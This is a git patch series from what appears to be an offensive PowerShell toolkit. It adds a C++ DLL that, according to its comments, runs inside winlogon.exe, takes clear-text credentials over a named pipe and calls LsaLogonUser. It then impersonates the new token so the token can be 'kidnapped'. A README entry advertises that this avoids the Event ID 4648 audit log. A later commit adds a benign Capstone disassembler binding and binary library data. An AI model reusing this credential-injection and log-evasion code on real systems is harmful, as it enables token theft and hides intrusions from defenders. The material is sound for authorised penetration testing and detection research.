mode 100644 index 00000000..cb2a53f6 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h @@ -0,0 +1,20 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" +#include +#include +#include +#include +#include +#include + + + + + +// TODO: reference additional headers your program requires here diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h b/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h new file mode 100644 index 00000000..87c0086d --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt b/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt new file mode 100644 index 00000000..605d3417 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt @@ -0,0 +1,48 @@ +======================================================================== + DYNAMIC LINK LIBRARY : logon Project Overview +======================================================================== + +AppWizard has created this logon DLL for you. + +This file contains a summary of what you will find in each of the files that +make up your logon application. + + +logon.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +logon.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +logon.cpp + This is the main DLL source file. + + When created, this DLL does not export any symbols. As a result, it + will not produce a .lib file when it is built. If you wish this project + to be a project dependency of some other project, you will either need to + add code to export some symbols from the DLL so that an export library + will be produced, or you can set the Ignore Input Library property to Yes + on the General propert page of the Linker folder in the project's Property + Pages dialog box. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named logon.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp b/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp new file mode 100644 index 00000000..69b58914 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp @@ -0,0 +1,19 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.cpp b/Exfiltration/LogonUser/LogonUser/logon/logon.cpp new file mode 100644 index 00000000..8011ed83 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/logon.cpp @@ -0,0 +1,258 @@ +// logon.cpp : Defines the exported functions for the DLL application. +// + +#include "stdafx.h" + +using namespace std; + +size_t wcsByteLen( const wchar_t* str ); +void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset ); +PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size); +PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size); +size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address); +void WriteErrorToPipe(string errorMsg, HANDLE pipe); + +extern "C" __declspec( dllexport ) void VoidFunc(); + + +//The entire point of this code is to call LsaLogonUser from within winlogon.exe +extern "C" __declspec( dllexport ) void VoidFunc() +{ + //Open a pipe which will receive data from the PowerShell script. + HANDLE pipe = CreateFile(L"\\\\.\\pipe\\sqsvc", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (pipe == INVALID_HANDLE_VALUE) + { + return; + } + + const size_t strSize = 257; + size_t bytesToRead = strSize * sizeof(wchar_t) - sizeof(wchar_t); + wchar_t* domain = new wchar_t[strSize]; + wchar_t* username = new wchar_t[strSize]; + wchar_t* password = new wchar_t[strSize]; + DWORD bytesRead = 0; + + BOOL success = ReadFile(pipe, domain, strSize, &bytesRead, NULL); + if (!success) + { + return; + } + domain[bytesRead/2] = '\0'; + + success = ReadFile(pipe, username, strSize-2, &bytesRead, NULL); + if (!success) + { + return; + } + username[bytesRead/2] = '\0'; + + success = ReadFile(pipe, password, strSize-2, &bytesRead, NULL); + if (!success) + { + return; + } + password[bytesRead/2] = '\0'; + + //Get the logon type from the pipe + USHORT logonType = 10; + success = ReadFile(pipe, &logonType, 1, &bytesRead, NULL); + if (!success) + { + return; + } + + //Get the authentication package to use. 1 = Msv1_0, 2 = Kerberos + USHORT authPackageToUse = 0; + success = ReadFile(pipe, &authPackageToUse, 1, &bytesRead, NULL); + if (!success) + { + return; + } + + + ///////////// + //Build the parameters to call LsaLogonUser with + ///////////// + + //Get a handle to LSA + HANDLE hLSA = NULL; + NTSTATUS status = LsaConnectUntrusted(&hLSA); + if (status != 0) + { + string errorMsg = "Error calling LsaConnectUntrusted. Error code: " + to_string(status); + WriteErrorToPipe(errorMsg, pipe); + return; + } + if (hLSA == NULL) + { + string errorMsg = "hLSA (LSA handle) is NULL, this shouldn't ever happen."; + WriteErrorToPipe(errorMsg, pipe); + return; + } + + //Build LsaLogonUser parameters + LSA_STRING originName = {}; + char originNameStr[] = ""; + originName.Buffer = originNameStr; + originName.Length = (USHORT)0; + originName.MaximumLength = 0; + + //Build the authentication package parameter based on the auth package the powershell script specified to use + //Also get the AuthenticationInformation + char* authPackageBuf = NULL; + DWORD authBufferSize = 0; + PVOID authBuffer = NULL; + if (authPackageToUse == 1) + { + authPackageBuf = MSV1_0_PACKAGE_NAME; + authBuffer = CreateNtlmLogonStructure(domain, username, password, &authBufferSize); + } + else if (authPackageToUse == 2) + { + authPackageBuf = MICROSOFT_KERBEROS_NAME_A; + authBuffer = CreateKerbLogonStructure(domain, username, password, &authBufferSize); + } + else + { + string errorMsg = "Received an invalid auth package from the named pipe"; + WriteErrorToPipe(errorMsg, pipe); + return; + } + + ULONG authPackage = 0; + PLSA_STRING authPackageName = new LSA_STRING(); + authPackageName->Buffer = authPackageBuf; + authPackageName->Length = (USHORT)strlen(authPackageBuf); + authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf); + status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage); + if (status != 0) + { + int winError = LsaNtStatusToWinError(status); + string errorMsg = "Call to LsaLookupAuthenticationPackage failed. Error code: " + to_string(winError); + WriteErrorToPipe(errorMsg, pipe); + return; + } + + //Get TokenSource + HANDLE hProcess = GetCurrentProcess();//todo + HANDLE procToken = NULL; + success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken); + if (!success) + { + DWORD errorCode = GetLastError(); + string errorMsg = "Call to OpenProcessToken failed. Errorcode: " + to_string(errorCode); + WriteErrorToPipe(errorMsg, pipe); + return; + } + + TOKEN_SOURCE tokenSource = {}; + DWORD realSize = 0; + success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize); + if (!success) + { + string errorMsg = "Call to GetTokenInformation failed."; + WriteErrorToPipe(errorMsg, pipe); + return; + } + + //Misc out parameters + PVOID profileBuffer = NULL; + ULONG profileBufferSize = 0; + LUID loginId; + HANDLE token = NULL; + QUOTA_LIMITS quotaLimits; + NTSTATUS subStatus = 0; + + //Log on the user + status = LsaLogonUser(hLSA, + &originName, + static_cast(logonType), + authPackage, + authBuffer, + authBufferSize, + 0, + &tokenSource, + &profileBuffer, + &profileBufferSize, + &loginId, + &token, + "aLimits, + &subStatus); + + if (status != 0) + { + NTSTATUS winError = LsaNtStatusToWinError(status); + string errorMsg = "Error calling LsaLogonUser. Error code: " + to_string(winError); + WriteErrorToPipe(errorMsg, pipe); + return; + } + + + //Impersonate the token with the current thread so it can be kidnapped + ImpersonateLoggedOnUser(token); + + //Put the thread to sleep so it can be impersonated + string successMsg = "Logon succeeded, impersonating the token so it can be kidnapped and starting an infinite loop with the thread."; + WriteErrorToPipe(successMsg, pipe); + HANDLE permenantSleep = CreateMutex(NULL, false, NULL); + while(1) + { + Sleep(MAXDWORD); + } + + return; +} + + +PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size) +{ + size_t wcharSize = sizeof(wchar_t); + + size_t totalSize = sizeof(KERB_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize); + KERB_INTERACTIVE_LOGON* ntlmLogon = (PKERB_INTERACTIVE_LOGON)(new BYTE[totalSize]); + size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(KERB_INTERACTIVE_LOGON); + + ntlmLogon->MessageType = KerbInteractiveLogon; + writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress); + + *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere. + return ntlmLogon; +} + + +PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size) +{ + size_t wcharSize = sizeof(wchar_t); + + size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize); + MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]); + size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(MSV1_0_INTERACTIVE_LOGON); + + ntlmLogon->MessageType = MsV1_0InteractiveLogon; + writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress); + + *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere. + return ntlmLogon; +} + +//Returns the amount of bytes written. +size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address) +{ + size_t size = lstrlenW(str) * sizeof(wchar_t); + uniStr->Length = (USHORT)size; + uniStr->MaximumLength = (USHORT)size; + uniStr->Buffer = (PWSTR)address; + memcpy(address, str, size); + return size; +} + +void WriteErrorToPipe(string errorMsg, HANDLE pipe) +{ + const char* error = errorMsg.c_str(); + DWORD bytesWritten = 0; + WriteFile(pipe, error, strlen(error), &bytesWritten, NULL); +} \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj new file mode 100644 index 00000000..7fb078b6 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj @@ -0,0 +1,176 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3} + Win32Proj + logon + + + + DynamicLibrary + true + v110 + Unicode + + + DynamicLibrary + true + v110 + Unicode + + + DynamicLibrary + false + v110 + true + Unicode + + + DynamicLibrary + false + v110 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + secur32.lib;%(AdditionalDependencies) + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + secur32.lib;%(AdditionalDependencies) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + secur32.lib;%(AdditionalDependencies) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + secur32.lib;%(AdditionalDependencies) + + + + + + + + + + + + false + false + + + + + false + false + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters new file mode 100644 index 00000000..b63ba3c0 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters @@ -0,0 +1,39 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp b/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp new file mode 100644 index 00000000..696fbfbf --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// logon.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/LogonUser/LogonUser/logon/stdafx.h b/Exfiltration/LogonUser/LogonUser/logon/stdafx.h new file mode 100644 index 00000000..d8612f05 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/stdafx.h @@ -0,0 +1,25 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include "targetver.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/Exfiltration/LogonUser/LogonUser/logon/targetver.h b/Exfiltration/LogonUser/LogonUser/logon/targetver.h new file mode 100644 index 00000000..87c0086d --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include From 46baff5ef25ebdbdb7ac32f0c1f592dbd76e3245 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Mon, 18 Nov 2013 06:30:19 -0500 Subject: [PATCH 038/382] Added Inject-LogonCredentials to README --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index bc96a244..004d4afa 100644 --- a/README.md +++ b/README.md @@ -148,6 +148,10 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. +#### `Inject-LogonCredentials` + +Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + #### `Invoke-NinjaCopy` Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. From 7157507d99ec82e50cb9e8aff48abfd548a227b4 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sun, 22 Dec 2013 12:46:39 -0500 Subject: [PATCH 039/382] Added Capstone Engine PowerShell binding Consider this to be an alpha release until the C# binding is published. --- Capstone/Capstone.psd1 | 50 ++++++++++ Capstone/Capstone.psm1 | 1 + Capstone/Get-CSDisassembly.format.ps1xml | 41 ++++++++ Capstone/Get-CSDisassembly.ps1 | 119 +++++++++++++++++++++++ Capstone/LICENSE.TXT | 30 ++++++ Capstone/Usage.md | 16 +++ Capstone/lib/capstone.dll | Bin 0 -> 78336 bytes Capstone/lib/libcapstone.dll | Bin 0 -> 6326103 bytes PowerSploit.psd1 | 1 + README.md | 8 ++ 10 files changed, 266 insertions(+) create mode 100644 Capstone/Capstone.psd1 create mode 100644 Capstone/Capstone.psm1 create mode 100644 Capstone/Get-CSDisassembly.format.ps1xml create mode 100644 Capstone/Get-CSDisassembly.ps1 create mode 100644 Capstone/LICENSE.TXT create mode 100644 Capstone/Usage.md create mode 100644 Capstone/lib/capstone.dll create mode 100644 Capstone/lib/libcapstone.dll diff --git a/Capstone/Capstone.psd1 b/Capstone/Capstone.psd1 new file mode 100644 index 00000000..6632558d --- /dev/null +++ b/Capstone/Capstone.psd1 @@ -0,0 +1,50 @@ +@{ + +# Script module or binary module file associated with this manifest. +ModuleToProcess = 'Capstone.psm1' + +# Version number of this module. +ModuleVersion = '1.0.0.0' + +# ID used to uniquely identify this module +GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b' + +# Author of this module +Author = 'Matthew Graeber' + +# Copyright statement for this module +Copyright = 'BSD 3-Clause' + +# Description of the functionality provided by this module +Description = 'Capstone Disassembly Framework Binding Module' + +# Minimum version of the Windows PowerShell engine required by this module +PowerShellVersion = '3.0' + +# Minimum version of the common language runtime (CLR) required by this module +CLRVersion = '4.0' + +# Processor architecture (None, X86, Amd64) required by this module +ProcessorArchitecture = 'Amd64' + +# Assemblies that must be loaded prior to importing this module +RequiredAssemblies = 'lib/capstone.dll' + +# Format files (.ps1xml) to be loaded when importing this module +FormatsToProcess = 'Get-CSDisassembly.format.ps1xml' + +# Functions to export from this module +FunctionsToExport = '*' + +# List of all modules packaged with this module. +ModuleList = @(@{ModuleName = 'Capstone'; ModuleVersion = '1.0.0.0'; GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b'}) + +# List of all files packaged with this module +FileList = 'Capstone.psm1', + 'Capstone.psd1', + 'Get-CSDisassembly.ps1', + 'Usage.md', + 'lib/capstone.dll', + 'lib/libcapstone.dll' + +} diff --git a/Capstone/Capstone.psm1 b/Capstone/Capstone.psm1 new file mode 100644 index 00000000..81d38186 --- /dev/null +++ b/Capstone/Capstone.psm1 @@ -0,0 +1 @@ +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/Capstone/Get-CSDisassembly.format.ps1xml b/Capstone/Get-CSDisassembly.format.ps1xml new file mode 100644 index 00000000..e9703a2a --- /dev/null +++ b/Capstone/Get-CSDisassembly.format.ps1xml @@ -0,0 +1,41 @@ + + + + + InstructionView + + Capstone.Instruction + + + + + + + + + + + + + + + + + + + Address + 0x{0:X8} + + + Mnemonic + + + Operands + + + + + + + + \ No newline at end of file diff --git a/Capstone/Get-CSDisassembly.ps1 b/Capstone/Get-CSDisassembly.ps1 new file mode 100644 index 00000000..89c17dba --- /dev/null +++ b/Capstone/Get-CSDisassembly.ps1 @@ -0,0 +1,119 @@ +#requires -Version 3 + +function Get-CSDisassembly +{ +<# +.SYNOPSIS + + Disassembles a byte array using the Capstone Engine disassembly framework. + + PowerSploit Function: Get-CSDisassembly + Author: Matthew Graeber (@mattifestation) + License: See LICENSE.TXT + Required Dependencies: lib\capstone.dll, lib\libcapstone.dll (64-bit) + Optional Dependencies: None + +.PARAMETER Architecture + + Specifies the architecture of the code to be disassembled. + +.PARAMETER Mode + + Specifies the mode in which to disassemble code. For example, to disassemble Amd64 code, architecture is set to 'X86' and Mode is set to 'MODE_64'. + +.PARAMETER Code + + A byte array consisting of the code to be disassembled. + +.PARAMETER Offset + + Specifies the starting address of the disassembly listing. + +.PARAMETER Count + + Specifies the maximum number of instructions to disassemble. + +.PARAMETER Syntax + + Specifies the syntax flavor to be used (INTEL vs. ATT). + +.PARAMETER DetailOff + + Specifies that detailed parsing should not be performed - i.e. do not perform additional analysis beyond disassembling. + +.EXAMPLE + + C:\PS>$Bytes = [Byte[]] @( 0x8d, 0x4c, 0x32, 0x08, 0x01, 0xd8, 0x81, 0xc6, 0x34, 0x12, 0x00, 0x00 ) + C:\PS>Get-CSDisassembly -Architecture X86 -Mode MODE_16 -Code $Bytes -Offset 0x1000 + +.EXAMPLE + + C:\PS>$Bytes = [Byte[]] @( 0x8d, 0x4c, 0x32, 0x08, 0x01, 0xd8, 0x81, 0xc6, 0x34, 0x12, 0x00, 0x00 ) + C:\PS>Get-CSDisassembly -Architecture X86 -Mode MODE_32 -Code $Bytes -Syntax ATT + +.INPUTS + + None + + You cannot pipe objects to Get-CSDisassembly. + +.OUTPUTS + + Capstone.Instruction[] + + Get-CSDisassembly returns an array of Instruction objects. + +.NOTES + + Get-CSDisassembly must be run from 64-bit PowerShell v3. +#> + + [OutputType([Capstone.Instruction])] + [CmdletBinding()] Param ( + [Parameter(Mandatory)] + [Capstone.ARCH] + $Architecture, + + [Parameter(Mandatory)] + [Capstone.MODE] + $Mode, + + [Parameter(Mandatory)] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Code, + + [UInt64] + $Offset = 0, + + [UInt32] + $Count = 0, + + [ValidateSet('Intel', 'ATT')] + [String] + $Syntax, + + [Switch] + $DetailOff + ) + + $Disassembly = New-Object Capstone.Capstone($Architecture, $Mode) + + if ($Syntax) + { + switch ($Syntax) + { + 'Intel' { $SyntaxMode = [Capstone.OPT_VALUE]::SYNTAX_INTEL } + 'ATT' { $SyntaxMode = [Capstone.OPT_VALUE]::SYNTAX_ATT } + } + + $Disassembly.SetSyntax($SyntaxMode) + } + + if ($DetailOff) + { + $Disassembly.SetDetail($False) + } + + $Disassembly.Disassemble($Code, $Offset, $Count) +} \ No newline at end of file diff --git a/Capstone/LICENSE.TXT b/Capstone/LICENSE.TXT new file mode 100644 index 00000000..9edde0bd --- /dev/null +++ b/Capstone/LICENSE.TXT @@ -0,0 +1,30 @@ +This is the software license for Capstone disassembly framework. +Capstone has been designed & implemented by Nguyen Anh Quynh +See http://www.capstone-engine.org for further information. + +Copyright (c) 2013, COSEINC. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. +* Neither the name of the developer(s) nor the names of its + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. diff --git a/Capstone/Usage.md b/Capstone/Usage.md new file mode 100644 index 00000000..8276ef63 --- /dev/null +++ b/Capstone/Usage.md @@ -0,0 +1,16 @@ +This module has two dependencies: +* lib\libcapstone.dll (the 64-bit unmanaged Capstone library) +* lib\capstone.dll (the managed C# bindings to the Capstone Framework) + +To install this module, drop the entire ScriptModification folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module Capstone` + +To see the commands imported, type `Get-Command -Module Capstone` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. \ No newline at end of file diff --git a/Capstone/lib/capstone.dll b/Capstone/lib/capstone.dll new file mode 100644 index 0000000000000000000000000000000000000000..bb085599b5b2c8880ee9a6de46329a4d9250ad5c GIT binary patch literal 78336 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 